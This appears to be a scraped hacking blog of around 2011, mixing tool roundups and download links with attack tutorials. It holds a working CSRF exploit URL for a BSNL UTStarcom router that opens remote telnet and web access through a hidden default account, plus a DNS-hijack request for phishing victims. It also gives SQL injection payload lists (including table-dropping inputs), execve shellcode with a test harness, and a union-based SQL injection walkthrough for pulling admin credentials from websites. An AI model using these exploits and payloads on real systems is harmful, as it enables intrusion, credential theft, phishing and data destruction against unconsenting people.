Infondlinux: Install Useful Security Tools & Firefox Addons for hackers

Infondlinux is a script that installs most of the hacking tools, that we use during penetration tests and capture the flag tournaments. It is a post configuration script for Ubuntu Linux. We can also install it on other *nix system but not all of the below mentioned tools may work depending on environment. It has been actively tested on Ubuntu 10.10.

It installs useful security tools and Firefox addons. Tools installed by script are listed at the beginning of source code, which we can edit as per our requirement.

List of security tools included:
Debian packages:

• imagemagick
• vim
• less
• gimp
• build-essential
• wipe
• xchat
• pidgin
• vlc
• nautilus-open-terminal
• nmap
• zenmap
• sun-java6-plugin et jre et jdk
• bluefish
• flash-plugin-nonfree
• aircrack-ng
• wireshark
• ruby
• ascii
• webhttrack
• socat
• nasm
• w3af
• subversion
• mercurial
• libopenssl-ruby
• ruby-gnome2
• traceroute
• filezilla
• gnupg
• rubygems
• php5
• libapache2-mod-php5
• mysql-server
• php5-mysql
• phpmyadmin
• extract
• p0f
• spikeproxy
• ettercap
• dsniff :
  • arpspoof Send out unrequested (and possibly forged) arp replies.
  • dnsspoof forge replies to arbitrary DNS address / pointer queries on the Local Area Network.
  • dsniff password sniffer for several protocols.
  • filesnarf saves selected files sniffed from NFS traffic.
  • macof flood the local network with random MAC addresses.
  • mailsnarf sniffs mail on the LAN and stores it in mbox format.
  • msgsnarf record selected messages from different Instant Messengers.
  • sshmitm SSH monkey-in-the-middle. proxies and sniffs SSH traffic.
  • sshow SSH traffic analyser.
  • tcpkill kills specified in-progress TCP connections.
  • tcpnice slow down specified TCP connections via “active” traffic shaping.
  • urlsnarf output selected URLs sniffed from HTTP traffic in CLF.
  • webmitm HTTP / HTTPS monkey-in-the-middle. transparently proxies.
  • webspy sends URLs sniffed from a client to your local browser
• unrar
• torsocks
• secure-delete
• nautilus-gksu
• sqlmap

Third party packages:

• tor
• tor-geoipdb
• virtualbox 4.0
• google-chrome-stable

Manually downloaded software’s and versions:

• DirBuster (1.0RC1)
• truecrypt (7.0a)
• metasploit framework (3.6)
• webscarab (latest)
• burp suite (1.3.03)
• parosproxy (3.2.13)
• jmeter (2.4)
• rips (0.35)
• origami-pdf (latest)
• pdfid.py (0.0.11)
• pdf-parser.pym (0.3.7)
• fierce (latest)
• wifite (latest)
• pyloris (3.2)
• skipfish (1.86 beta)
• hydra (6.2)
• Maltego (3.0)
• SET

Author made scripts:

• hextoasm
• md5crack.py (written by Corbiero)
• chartoascii.py
• asciitochar.py
• rsa.py
• Firefox extensions:
  
• livehttpheaders
• firebug
• tamperdata
• noscript
• flashblock
• flashgot
• foxyproxy
• certificatepatrol
• chickenfoot 1.0.7

Pretty good list of applications we must say.
How to install/download

# download:
$ wget http://infondlinux.googlecode.com/svn/trunk/infondlinux.sh
# install:
$ sudo infondlinux.sh

enjoy it :)

Armitage 04.24.11

Armitage is a graphical attack management tool for Metasploit that visualize your target, recommends exploits, and expose the advanced capabilities of the framework. Armitage's aim is to make Metasploit usable for security practitioners who understand hacking but do not use Metasploit every day. 

New features in Armitage updated version.

• Armitage -> Listeners -> Reverse now binds to 0.0.0.0.
• Host import now posts an event to the collab mode shared event log

• Added an option to display an MOTD message to clients that connect to Armitage in the collaboration mode. Use -m or –motd before –server and specify a file, e.g.  

               armitage -m /path/to/motd.txt --server ...

• Fixed a potential dead-lock condition with the screenshot/webcam shot tab.

_ User message on connect _

• Added Meterpreter -> Access -> Pass Session to send a meterpreter session to a handler set up on another host.
• Armitage now sets ExitOnSession to false for multi/handlers started within Armitage.
• Pivoting and ARP Scan dialogs now highlight first option by default.
• Added a sanity check to the Route class to prevent malformed IPs from screwing up sorting.
• Removed sqlite3 from the database options. I should have done this long ago–it has no place in Armitage.
• Armitage now intercepts meterpreter “shell” command and opens a new tab with the cmd.exe interaction in it.

You can download Armitage from 


WINDOWS-here
LINUX-here
MacOS X - here

Learn more about Armitage -fastandeasyhacking

Metasploit (Video Tutorials)

Metasploit is one of the tool that every hacker have in his tool kit which contains lots of modules and exploits which can be used with various payloads to  break into boxes.

In this video series you will go through the metasploit framework starting from the very basics of metasploit and slowly more towards  intermediate and advanced functionality, including creation of Meterpreter scripts and extending the framework.

Video Series Link (Original source)

1. Metasploit Megaprimer Part 1 (Exploitation Basics and need for Metasploit)

http://www.securitytube.net/video/1175

2. Metasploit Megaprimer Part 2 (Getting Started with Metasploit)
http://www.securitytube.net/video/1176

3. Metasploit Megaprimer Part 3 (Meterpreter Basics and using Stdapi)
http://www.securitytube.net/video/1181

4. Metasploit Megaprimer Part 4 (Meterpreter Extensions Stdapi and Priv)
http://www.securitytube.net/video/1182

5. Metasploit Megaprimer Part 5 (Understanding Windows Tokens and Meterpreter Incognito)
http://www.securitytube.net/video/1183

6. Metasploit Megaprimer Part 6 (Espia and Sniffer Extensions with Meterpreter Scripts)
http://www.securitytube.net/video/1184

7. Metasploit Megaprimer Part 7 (Metasploit Database Integration and Automating Exploitation)
http://www.securitytube.net/video/1185

8. Metasploit Megaprimer Part 8 (Post Exploitation Kung Fu)
http://www.securitytube.net/video/1187

9. Metasploit Megaprimer Part 9 (Post Exploitation Privilege Escalation)
http://www.securitytube.net/video/1188

10. Metasploit Megaprimer Part 10 (Post Exploitation Log Deletion and AV Killing)
http://www.securitytube.net/video/1189

11. Metasploit Megaprimer Part 11 (Post Exploitation and Stealing Data)
http://www.securitytube.net/video/1190

12. Metasploit Megaprimer Part 12 (Post Exploitation Backdoors and Rootkits)
http://www.securitytube.net/video/1191

13. Metasploit Megaprimer Part 13 (Post Exploitation Pivoting and Port Forwarding)
http://www.securitytube.net/video/1192

14. Metasploit Megaprimer Part 14 (Backdooring Executables)
http://www.securitytube.net/video/1198

15. Metasploit Megaprimer Part 15 (Auxiliary Modules)
http://www.securitytube.net/video/1199

16. Metasploit Megaprimer Part 16 (Pass the Hash Attack)
http://www.securitytube.net/video/1215

17. Metasploit Megaprimer Part 17 (Scenario Based Hacking)
http://www.securitytube.net/video/1219

Download (Part - Part )

http://www.filesonic.com/file/105648012/metasploit_megaprimer.part1.rar 

http://www.filesonic.com/file/105647782/metasploit_megaprimer.part2.rar 

http://www.filesonic.com/file/105648392/metasploit_megaprimer.part3.rar 

http://www.filesonic.com/file/105647932/metasploit_megaprimer.part4.rar 

http://www.filesonic.com/file/105641352/metasploit_megaprimer.part5.rar

I take no authorization of the content.

Hacking Exposed: Web Applications, 3rd Edition

The latest Web app attacks and countermeasures from world-renowned practitioners Protect your Web applications from malicious attacks by mastering the weapons and thought processes of today's hacker. Written by recognized security practitioners and thought leaders, Hacking Exposed Web Applications, Third Edition is fully updated to cover new infiltration methods and countermeasures. Find out how to reinforce authentication and authorization, plug holes in Firefox and IE, reinforce against injection attacks, and secure Web 2.0 features. Integrating security into the Web development lifecycle (SDL) and into the broader enterprise information security program is also covered in this comprehensive resource.

* Get full details on the hacker's footprinting, scanning, and profiling tools, including SHODAN, Maltego, and OWASP DirBuster * See new exploits of popular platforms like Sun Java System Web Server and Oracle WebLogic in operation * Understand how attackers defeat commonly used Web authentication technologies * See how real-world session attacks leak sensitive data and how to fortify your applications * Learn the most devastating methods used in today's hacks, including SQL injection, XSS, XSRF, phishing, and XML injection techniques * Find and fix vulnerabilities in ASP.NET, PHP, and J2EE execution environments * Safety deploy XML, social networking, cloud computing, and Web 2.0 services * Defend against RIA, Ajax, UGC, and browser-based, client-side exploits * Implement scalable threat modeling, code review, application scanning, fuzzing, and security testing procedures 

download:FileSonic.com     letitbit.net

ONLINE WPA CRACKER-THE CLOUD ERA BEGINS

This is my quote"LINUX IS SOUL OF HACKERS AND CLOUD IS FUTURE OF HACKING"

Guess what we have new player in the market thats online wpa cracker with cloud computing power.Cracking WPA was never easy it took many days for a normal computer but cloud computing makes it easier for us with 400 cpu cluster of power with 135 million dictionary words thats what you call cracking as a service lolz :D

here is official intro

An Introduction

WPA Cracker is a cloud cracking service for penetration testers and network auditors who need to check the security of WPA-PSK protected wireless networks.
WPA-PSK networks are vulnerable to dictionary attacks, but running a respectable-sized dictionary over a WPA network handshake can take days or weeks. WPA Cracker gives you access to a 400CPU cluster that will run your network capture against a 135 million word dictionary created specifically for WPA passwords. While this job would take over 5 days on a contemporary dual-core PC, on our cluster it takes an average of 20 minutes, for only $17.

NEW :: We now offer Germany dictionary support, a 284 million word extended English dictionary option, and ZIP file cracking.

there website

note:its not a free service although but fast service. 

developers time to find new extension :P


Do share your views about the new wpa cracker:)

PenTBox v1.4

PenTBox is a Security Suite with programs like Password Crackers, Denial of Service testing tools like DoS and DDoS, Secure Password Generators, Honeypots and much more.Pentbox is destined to test security and stability of networks.

Tools included in PenTBox

Base64 encoder y decoder,
Digest for MD5,
SHA1,
SHA256 and SHA512,
Port scanner,
TCP DoS,
TCP AutoDoS,
SYN DoS,
Honeypot,
L33t Sp3@k Converter 

PenTBox is programmed in Ruby so ruby is required, and oriented to GNU/Linux systems compatible with Windows, MacOS and more.

Tutorial for PenTBox

1.Download PentBox and un tar
2. We are using windows box , simply run exe and choose from three options.
3. And your ready to attack  or audit. Nothing much to think or relay on.
Download PentBox Here

Pentbox is simple yet powerful .Feature i liked most is simple honeypot :) 

Online Sandboxes:Better Security

Online sandboxes are very useful services that any person should consider from time to time to have an idea about any unknown file or website. Now it is possible without installing any system to check what this file do on your operating system and what change it brings.
These services will execute malware in a monitored environment so that you don’t risk your own system while performing behavior analysis. It will verify all changes in the file system, registry keys, and all network traffic during the execution. Next it will provide users a report with different information regarding the malicious file.

Threat expert  is a public sandbox that will execute the malicious file in a virtual environment and provides users the change made in file system, registry keys, and all network traffic, it will take a snapshot before the execution and compare it to another one after malware execution. Briefly ThreatExpert report the following:

• File ,processes, registry keys created by executing the malware
• IP addresses that are contacted by executing the malware
• Possible country originated for this malware
• Screenshots if there are pop-ups or new window in browser opened.
• Provides information about the category of this malware.
•  

 ebox is another public sandbox that allows implementing large distributed systems and infrastructures to collect, analyse, evaluate and fight malware. You can choose to execute your malware on Windows XP, Windows Vista or Windows 7.you can write scripts in AutoIT that will automatically perform your tasks there are already some examples available on the website.
What we can add to all previous malware analyzing tools is WinMHR by Team Cymru (pronounced kum-ree).MHR is a free online service that will give you a result by comparing the suspicious file to search for malware based on MD5 or SHA1 hashes. You can install it on your computer or use the Firefox plugin that will help in checking any downloaded file before the execution. MHR helps identify known problems so you can take action at an early stage.


CWSandbox is another public sandbox but it works by DLL code injection, the injected DLL will hook Windows API functions to record malware behavior during the analyses. This provides good results but if a malware bypass the hook and directly call kernel code this can make the malware not monitored. But if we will look at most malwares we will have no issue in using CWSandbox.
The online free interface in CWSandbox allows submitting Windows PE files while if you are looking for more flexibility to submit files, URLs, BHOs, zipped files you need to use the commercial version. The commercial version lets you submit files via e-mail, nepenthes honeypots, or server folder.

QuickRecon: Simple Information Gathering Python Script

QuickRecon is a simple information gathering tool, that allows you to:

• Find subdomain names
• Perform zone transfer
• Gather emails from Google.com and Bing.com

For those unknown, DNS zone transfer, is a type of DNS transaction that allows us to replicate the databases containing the DNS data across a set of DNS servers. Zone transfer comes in two flavors, full (opcode AXFR) and incremental (IXFR). AXFR stands for Asynchronous Full Transfer Zone and IXFR stands for Incremental Zone Transfer. This simple Python script depends on DNS toolkit ‘dnspython‘ while performing a zone transfer.


The e-mail gathering feature of this tool can also be used in a lot of ways – to learn about possible targets for account brute force, social engineering, etc.


The best part about this script is that it is cross compatible with multiple operating systems. It has been successfully tested on Windows XP and BackTrack 4 R2 with a Python 2.x installation.


Sample usage:

Obtaining subdomain names (built-in dictionary):
python quickrecon.py -m s -d example.com -o out.log


or (an external dictionary):
python quickrecon.py -m s -d example.com -i your_subdomains.txt


Zone Transfer:
python quickrecon.py -m z -d example.com


Gathering emails from Google.com and Bing.com:


python quickrecon.py -m e -d example.com -o out.log
python quickrecon.py -m e -d example.com -l 500

(quickrecon-0.2.zip) here.

PWNING ROUTERS(BSNL)

Hello Mates, This is my first post here

Today im going to show you how a series of vulnerabilities in a web Application could be creatively exploited.
 
Product Description:
 
The product which i had my hands on is this UTSTARCOM router,

It is one of the most common ADSL Modem cum Router which was rolled out by BSNL to their customers a year ago, when the number of internet subscribers was reaching the peak. This little devices runs a webserver which serves the web based router configuration application.Further it has a Telnet service running on it.
 
The So Called BuiltIn Security Features :

* Remote Web Access to the router is blocked by Default [so you can't access a victim's router by using his public IP]
* Remote Telnet Access is also blocked

After a little playaround with the device, i've found that there are 3 different users that can login into the router.
viz admin,user,support

The Documentation Provided by BSNL neither states that there are 3 different users that could access the device nor forces/asks/shows the users to change their default password for accessing the router [Note: Im not mentioning the PPoE Password]

http://www.chennai.bsnl.co.in/BBS/UT300R2U.htm
 
User Description:
As the name suggests, admin user has the ablility to do all configuration changes to the router, whereas the user privileged user could not do any changes in the configuration of the router.

Logged in as Admin:


Logged in as User:

 
Vulnerablility Description:

On a closer examination of the source code,i got hold of a javascript menuBCM.js

menuBCM.js: 
  
  function menuAdmin(options) { // All the options are displayed for ADMIN
   var std = options[MENU_OPTION_STANDARD];
   var proto = options[MENU_OPTION_PROTOCOL];
   var firewall = options[MENU_OPTION_FIREWALL];
   var nat = options[MENU_OPTION_NAT];
   var ipExt = options[MENU_OPTION_IP_EXTENSION];
   var wireless = options[MENU_OPTION_WIRELESS];
   var voice = options[MENU_OPTION_VOICE];
   var snmp = options[MENU_OPTION_SNMP];
   var ddnsd = options[MENU_OPTION_DDNSD];
   var sntp = options[MENU_OPTION_SNTP];
.
.
if ( user == 'admin' ) //this piece of code calls the respective menu to be displayed
      menuAdmin(options);
   else if ( user == 'support' )
      menuSupport(options);
   else if ( user == 'user' )
      menuUser();
}

-------------code truncated

 so it is pretty obvious from the code that the user privilege management is handled by this javacript by displaying all menu's to Admin and hides configuration menu's to the user.

so it is possible to navigate to the configurations page by a user if he knows the URL

The default username password combination is
admin:admin
user:user

Since we know that the user privilege management is handled by a javascript, it has got nothing to do in a telnet session, so when we telnet as either a admin or as a user, we get full access [privilege] to the router.

Further adding fuel to the fire, CSRF is present in the webbased configuration application
 
Exploiting Methods:

First and foremost point is we can't access the victim's router from WAN,

As CSRF vulnerability is present on the router, this script will do the job

http://user:user@192.168.1.1/scsrvcntr.cmd?
action=save&http=1&http=3&icmp=1&snmp=1&snmp=3&telnet=1&telnet=3&tftp=2&tftp=0

 Since there user:user account is some sort of hidden/undisclosed account, the possiblity of its default password being changed is very less.

we could send this link to a victim either in a email or by some SE techniques, what this does is, it changes the router configuration and allows Remote Web access, Remote Telnet access on the router.

The entire Exploit looks like this

1)index.html 


2)config.html


So after the user visits this page, we will have his IP in our database or somewhere depending upon the IP logger script.
Now we can login into his router either by telnetting or by logging into the webapplication.

Even though the victim changes the admin password for the device, we could log in as user:user and navigate into password.html page and viewing source --Kabboomm Plain text passwords in javascripts

passwords.html


So now we got admin access on both TELNET service and webservice, now here comes a variety of exploitation techniques


Possible Attacks:

1.Denial of Service:

1.The attacker might implement MAC filtering or other IP restriction on the victim’s router.
2.Specifying a unreachable Static Route
3.Killing the httpd server process of the router repeatedly by telneting into the victim’s router.
 
2)Sniffing

1.The attacker could specify a static route passing through his network for the victim’s router and sniff the traffic from the victim. [SSL Strip + Ettercap + Wireshark]


3.Phishing:

This is the attack of our special interest as it is one of the stealthiest attack when combined with routing attacks.
The attacker could specify a fake DNS server for the victim router and could carry out phishing attacks.

http://192.168.1.1/dnscfg.cgi?dnsPrimary=XX.XX.XX.XX&dnsSecondary=XX.XX.XX.XX&dnsDynamic=0&dnsRefresh=1

XX.XX.XX.XX = Attackers DNS server

This changes the primary & secondary DNS servers of the victim’s router

Now the victim's network is like this



So we can specify our phishing sites IP address as A Records for famous websites like facebook,orkut,banking sites etc etc in our DNS server.



You can download the whitepaper here
Peace.. Similar vulnerablility is found in Nokia-Simens and many other Home Routers
Fairly long post, isn't it ?
Comments and Suggestions are Welcomed.  


credits : Boris

HOW I MET YOUR GIRLFRIEND -DEFCON 18

HOW I MET YOUR GIRLFRIEND from shobhit tiwari on Vimeo.


Here is a interesting video presentation from defcon 18 by Samy Kamkar .The guy is discussing how to attack advanced users who are into computer side via cookie bruteforcing+exploiting there router via XXXSS,XPS and generating the exact geolocation of the victim.

Dont miss this video

Packet Fence v2.0.1

PacketFence is a Open Source network access control (NAC) system.

packetfence

Many of us are familiar with network access control systems. A Network Access Control (NAC) is a computer networking solution that uses a set of protocols to define & implement a policy that describes how to secure access to a network nodes by devices when they initially attempt to access the network. NAC might integrate the automatic remediation process (fixing non-compliant nodes before allowing access) into the network systems, allowing the network infrastructure such as routers, switches and firewalls to work together with back office servers and end user computing equipment to ensure the information system is operating securely before interoperability is allowed.

What you can do with PacketFence :

• Block iPods wireless access
• Forbid rogue access points
• Perform compliance checks
• Eliminate Peer-to-Peer traffic
• Provide guest access
• Simplify VLAN management

PacketFence has very good advance features.

Registration

PacketFence supports an optional registration mechanism similar to “captive portal” solutions. An Acceptable Use Policy can be specified such that users cannot enable network access without first accepting it. The duration of a node registration can be a relative value (eg. “four weeks from first network access”) or an absolute date (eg. “Thu Jan 20 20:00:00 EST 2009″).

Detection of abnormal network activities

Abnormal network activities (computer virus, worms, spyware, etc.) can be detected using local and remote Snort sensors. Beyond simple detection, PacketFence layers its own alerting and suppression mechanism on each alert type. A set of configurable actions for each violation is available to administrators.

Proactive vulnerability scans

Nessus vulnerability scans can be performed on a scheduled or ad-hoc basis. PacketFence correlates the Nessus vulnerability ID’s of each scan to the violation configuration, returning content specific web pages about which vulnerability the host may have.

Isolation of problematic devices

PacketFence supports several isolation techniques, including VLAN isolation with VoIP support (even in heterogeneous environments) for multiple switch vendors


Remediation through a captive portal
Once trapped, all HTTP, IMAP and POP sessions are terminated by the PacketFence system. Based on the nodes current status (unregistered, open violation, etc), the user is redirected to the appropriate URL. In the case of a violation, the user will be presented with removal instructions for the particular infection he/she has.

802.1X

802.1X is supported through a FreeRADIUS module.

Wireless integration

PacketFence intregrates perfectly with wireless networks through a FreeRADIUS module. This allows you to secure your wired and wireless networks the same way.

DHCP fingerprinting

DHCP fingerprinting can be used to automatically register specific device types (eg. VoIP phones) and to disallow network access to other device types (eg. game consoles).


A good list of switches are also supported.


We have just started to test it in a test environment. Before the actual implementation, we will keep you updated and you can leave your comments .


Download PacketFence v2.0.1 (packetfence-2.0.1.tar.gz) here.

Make Your Own Anonymous Email Service

Do you want to send an email anonymously because, for example, you fear your views might not be appreciated by your boss? When avouching your opinion in public — critically important under more favorable circumstances — is unhealthy, anonymity becomes vital. Here i will show you how to setup your own anonymous email service. I am writing this post because there are some things that must be said, even when the speaker must remain anonymous. Lets start:


1) First of all you need to find a free hosting service that supports PHP and SendMail. Here is one that works perfect, and without ads: x10hosting.com. Create an account there.

2) Now open notepad and paste this PHP code: the code

because of some reason i am not going to give code here just write your email in comment and code will be sent in your mail


3) Save it everywhere u want as mail.php, then upload it in your host you created (x10hosting) via FTP.

4) Now we are done. Just go at yourname.x10hosting.com/mail.php, and start sending your fake emails.

Why sending anonymous emails is important:

* Anonymously report sensitive information to the media

* Send crime tips to law enforcement agencies anonymously

* Report wrongdoing or theft at the workplace

* Voice concerns to school principals anonymously

* Report child or any other abuse

* Initiate an anonymous chat discussion

* Share suspicions regarding a friend or loved one

What Is SQL Injection & How Does It Work

What Is SQL Injection & How Does It Work

SQL injection is most common methodology employed by a hacker to exploit vulnerabilities in software applications. Vulnerabilities are basically weak links in the software that exposes unauthorized data/information to a user. SQL injection occurs when the user input is incorrectly filtered for embedded SQL statements.

SQL injection vulnerabilities have three forms:


Incorrectly filtered special characters: escape characters

This form of SQL injection occurs when the user manipulates the SQL statements using characters such as ’. For instance consider that you need to enter username and password while logging into your account. The SQL statement generated will be:
“SELECT * FROM users WHERE password = ’” + password + “‘;”

Now suppose the userName and/or password so entered are” ‘ or ‘1’=’1”. So the SQL statement reaching the back end will be:

“SELECT * FROM users WHERE password =’ ‘or ‘1’=’1 ‘;”

Look closely at this statement. It is deciphered by the database as select everything from the table “user” having field name equal to ‘ ‘ or 1=1. During authentication process, this condition will always be valid as 1 will always equal 1. Thus this way the user is given unauthorized access.

List of Some Important inputs used by hackers to use SQL Injection technique are:
a) ‘ or ‘a’=’a
b) ‘ or 1=1 –
c) ‘ or 1=1; –
d) ‘; select * from *; –
e) ‘ (Single quote)(Here we look at the error)
f) ‘; drop table users –

On some SQL servers such as MS SQL Server any valid SQL command may be injected via this method, including the execution of multiple statements. The following value of “username” in the statement below would cause the deletion of the “users” table as well as the selection of all data from the “data” table (in essence revealing the information of every user):
a’;DROP TABLE users; SELECT * FROM data WHERE name LIKE ‘%

Incorrectly handling input data type

This form of SQL injection occurs when the user input is not strongly typed i.e. , the input by the user is not checked for data type constraint. For example consider a field where you are asked to enter your phone number. Since the phone number input is of numeric data type, therefore the input must be checked whether it is numeric or not. If not checked, then the user can send alphanumeric input and embedded SQL statements. Consider the following SQL statement:
“SELECT * FROM user WHERE telephone = “+ input +”;”
Now if I can input alphanumeric data say “11111111;DROP TABLE user” then I have embedded an SQL statement to delete the entire table “user”. This might prove detrimental to the company!!!

If you happen to know the database table name and column names, then any user can perform SQL injection using the following inputs:

1. ‘ having 1=1 –
2. ‘ group by user.id having 1=1 –
3. ‘ group by users.id, users.username, users.password, users.privs having 1=1—
4. ‘ union select sum(users.username) from users—
5. ‘ union select sum(id) from users –

Vulnerabilities inside the database server

Sometimes vulnerabilities can exist within the database server software itself, as was the case with the MySQL server’s real_escape_chars() functions.
If the database server is not properly configured then the access to the database can easily be found out by the hacker.
The hacker can get information regarding the database server using the following input:
‘ union select @@version,1,1,1—

1. Extended Stored Procedure Attacks
2. sp_who: this will show all users that are currently connected to the database.
3. xp_readmail, , , , ,@peek=’false’ : this will read all the mails and leave the message as unread.

In the same way there is a list of such extended stored procedures that can be used by the hacker to exploit vulnerabilities existing in software application at the database layer.

So guys I think now you should absolutely aware of what SQL injection is so in my next post we will discus how to hacks website' database or website form this method.

What is exploit and how to use it?

What is an exploit

An exploit is a computer programm, which circumvent computer security. There are many ways to exploit security holes. If a computer programmer make a programming mistake in a computer program, it is sometimes possible to circumvent security. The coding of such programs, which attack (hack) the programming mistakes or security holes is the art of exploitation or exploit coding. Some common exploiting technics are stack exploits, heap exploits, format string exploits, ...


What is an stack exploit

A stack exploit occurs, if you can write more than the size of a buffer located on the stack into this buffer. If you can write more data, as the size of the buffer (more than 1024 bytes in this example) a stack overflow occurs. For example:

main(int argc, char **argv)
{
// This buffer is located at the stack
char buf[1024];
// i is located on the stack
int i;

// A 6 byte stack buffer overflow
for(i=0;i<1030;i++) buf[i] = 'A' // Another example // if argv larger than 1024 a overflow occur strcpy(buf, argv[1]); } Why a stack overflow is a security threat ? The assembler instruction 'call' push the return address on the stack. 'call' jump into a function in our example the function is main. If the function returns with the assembler instruction 'ret', it returns to the function pointer at the stack. If you can overflow the stack you can overwrite the return address located at stack. You can return to another location. The location should a pointer to a shellcode address. Read alephonestack.txt for more information. You can download it at my papers section. What is a shellcode

Shellcode are machine instructions, which launch a shell for example. A shellcode looks like this:

char shellcode[]="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62 \x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\ xcd\x80";

Every char is a machine instruction. \xcd\x80 is 'int 80' for example. After an overflow occur we need a address to return. This shellcode launch a shell. If you point to the shellcode (after a stack overflow for example), the machine instructions are launched and spawns a shell. Compile this program. It tests the shellcode and spawns a shell:

// Compile this program with gcc sctest.c -o sctest and start it: ./sctest
// now you have someting like
// sh-2.03$


#include

char shellcode[]=
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\ x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\ xcd\x80";
int
main()
{
void (*dsr) ();
(long) dsr = &shellcode;
printf("Size: %d bytes.\n", sizeof(shellcode));
dsr();
}

read alephonestack.txt for basic shellcode coding

What are heap overflows

If the heap is overflowed a heap buffer overflow occurs.
A heap overflow looks like that:

// It dynamically create a 1000 byte buffer on the heap.
main(int argc, char **argv)
{
// pointer points to a heap address
char *pointer = malloc(1000);
char *pointer2 = malloc(200);

// Overflowed, if argv[1] is larger than 1000 bytes.
// The buffer pointer 2 is overflowed if pointer
// contains more than 1000 bytes.
strcpy(pointer, argv[1]);

// Free dynamically allocated data
free(pointer)
free(pointer2);
}


Format String exploit's ?

If you control the format string in one of the printf, syslog or setproctitle function, a exploitation is possible. Format strings are something like "%s", "%x", "%d", ... For example:

main(int argc, char **argv)
{
char *buf = "TEST";

// The wrong way
// The user can control the format string
printf(argv[1]);

// You should code:
printf("%x", argv[1]);
}

Advanced MYSQL & MSSQL INJECTION

You all will be glad to know that a 14 year old friend of mine submitted awesome whitepaper on mysql&mssql injections

#####################################################################
# Title: Advanced Sql Injection including Mysql,Mssql & a guide to oracle
# Date : 22 January 2011
# Author: Cyb3R_ShubhaM aKa L0c4lr00T
# Email: l0c4lr00t@yahoo.in
# Facebook: fb.me/yoShubH
# My Teams : Indishell,IW,AoH,SWATS,Team StuXnet etc.
# Contents-
 
=> Mysql- Blind + union
=> Mssql- Blind + Union + error based
// => For oracle plz refer tohttp://
dl.packetstormsecurity.net/papers/database/Hacking_Oracle_From_Web_2.pdf :)
# Suggested Automated tools-
=> Havij: itsecteamc.com
# Vulnerability scanners
=> Acunetix wvs
=> Jsky
==========================================================================================
Hmmm... So Let's Start, I think it's my first paper being written for you all ;) I don't
remember the exact definition of sql Injection so
I'll get that for you from google ;)
Q. What is Sql Injection ?
A. SQL injection is a code injection technique that exploits a security vulnerability
occurring in the database layer of an application.
I don't want to boar you ;) so a simple short definiton is above..
Types of Sql Injection-
# Blind
# Union
# Error //not availble in mysql
Google them to get the definitions :)..!
Injection types-
# String- http://test.com/index.php?id=1 having 1=1
# Integer- http://test.com/index.php?id='1 having 1=1
hope you can see the difference.
Server types I know & I'll teach you-
# Mysql
# Mssql
===========================================================================================
###########################################################################################
Let's start with Mysql:
-1-
C:\Users\Ash\Desktop\Advaned Sql Injection in Mysql + Mssql.txt 24 January 2011 03:14
Mysql has 2 types only as mentioned above.you need to know the following things about the DB
you are attacking-
# Number of columns
# Table names
# column names
# Let's start with union Attack, the most common, every n00b should no it :p-
=> http://test.com/index.php?id=1 order by 10--
^ This gives me an error
Let's again try
=> http://test.com/index.php?id=1 order by 7--
^ This gives me an error
Let's try again
=> http://test.com/index.php?id=1 order by 5--
Whoa !! the page is Loading normally
It means, Number of columns => 5
you can do it with mssql as well.
# Now the next part-
I'm using union select statement.
=> http://test.com/index.php?id=1 union all select 1,2,3,4,5--
If it doesn't gives you anything, change the first part of the query to a negative value.
=> http://test.com/index.php?id=-1 union all select 1,2,3,4,5--
It'll show some number on you screen. In my case it is 2. Now we know that column 2 will
echo data back to us. :D
# getting Mysql version
=> http://test.com/index.php?id=-1 union all select 1,@@version,3,4,5--
If you do not get with this try this-
=> http://test.com/index.php?id=-1 union select 1,version()),3,4,5--
Now you will get get the version name
it can be-
# 5+
# 5>
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Table extraction for version 5+ :
-2-
C:\Users\Ash\Desktop\Advaned Sql Injection in Mysql + Mssql.txt 24 January 2011 03:14
=> http://test.com/index.php?id=-1 union all select 1,group_concat(table_name),3,4,5 from
information_schema.tables--
It'll show a lot of tables, if you want to get into the site, usually you need to get the
admin's login info :D
So, In my case I need to exploit into a table named => admin
which contains information, I need :D
Now I got the Tables names & I need to extract the column names from them so the query will
be-
=> http://test.com/index.php?id=-1 union all select 1,group_concat(column_name),3,4,5 from
information_schema.columns where table_name=admin--
This will show you the column names inside the table Admin. if it gives you an error you
need to change the text value of admin to mysql char.
I use hackbar, a Firefox addon to do so.
so char of admin is =>CHAR(97, 100, 109, 105, 110)
therefore the query will be-
=> http://test.com/index.php?id=-1 union all select 1,group_concat(column_name),3,4,5 from
information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--
It show the columns names to me. In my case they are-
# user_name
# user_password
# sex
# uid
We only need to know username & pass so we reject the rest two. Okay ? :D
The next query will be for extracting the final data I need- :D
=> http://test.com/index.php?id=-1 union all select
1,group_concat(user_name,0x3a,user_password),3,4,5 from admin--
where 0x3a is the hex value of => :
VOILA !
I got the username & pass, it is => shubham:password
password can also be encrypted. So you can use few online decrypters or a software I know =>
Password Pro
This was all for Mysql 5+
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Let's Start with mysql 5>
Version 4 or below 5 does not contain any => Information_schema
-3-
C:\Users\Ash\Desktop\Advaned Sql Injection in Mysql + Mssql.txt 24 January 2011 03:14
so you have to guess them, Like people guess while playing KBC (who want to be a millionaire)
hahaha :D
we know the number of columns that is 5.
=> Let's Start guessing the table:
=> http://test.com/index.php?id=-1 union all select 1,2,3,4,5 from users--
^ This one gives me error
=> => http://test.com/index.php?id=-1 union all select 1,2,3,4,5 from Admin--
^ Voila I guessed the right, you must be thinking ShubhaM is a Genious xD :p
=> Next part is Guessing the columns:
as we had done earlier & had found the vulnerable column is 2...so lets process further.
guess something similar to a username.
=> http://test.com/index.php?id=-1 union all select 1,user,3,4,5 from admin--
^ got error. Retrying...
=> http://test.com/index.php?id=-1 union all select 1,username,3,4,5 from admin--
Hurray ! It gotta work baby & I got the username :D...!
=> let's guess the password column now
=> http://test.com/index.php?id=-1 union all select 1,pass,3,4,5 from admin--
^ got an error
one more try-
=> http://test.com/index.php?id=-1 union all select 1,password,3,4,5 from admin--
hahaha...got the pass !!!
This is the end of Mysql 5> union.
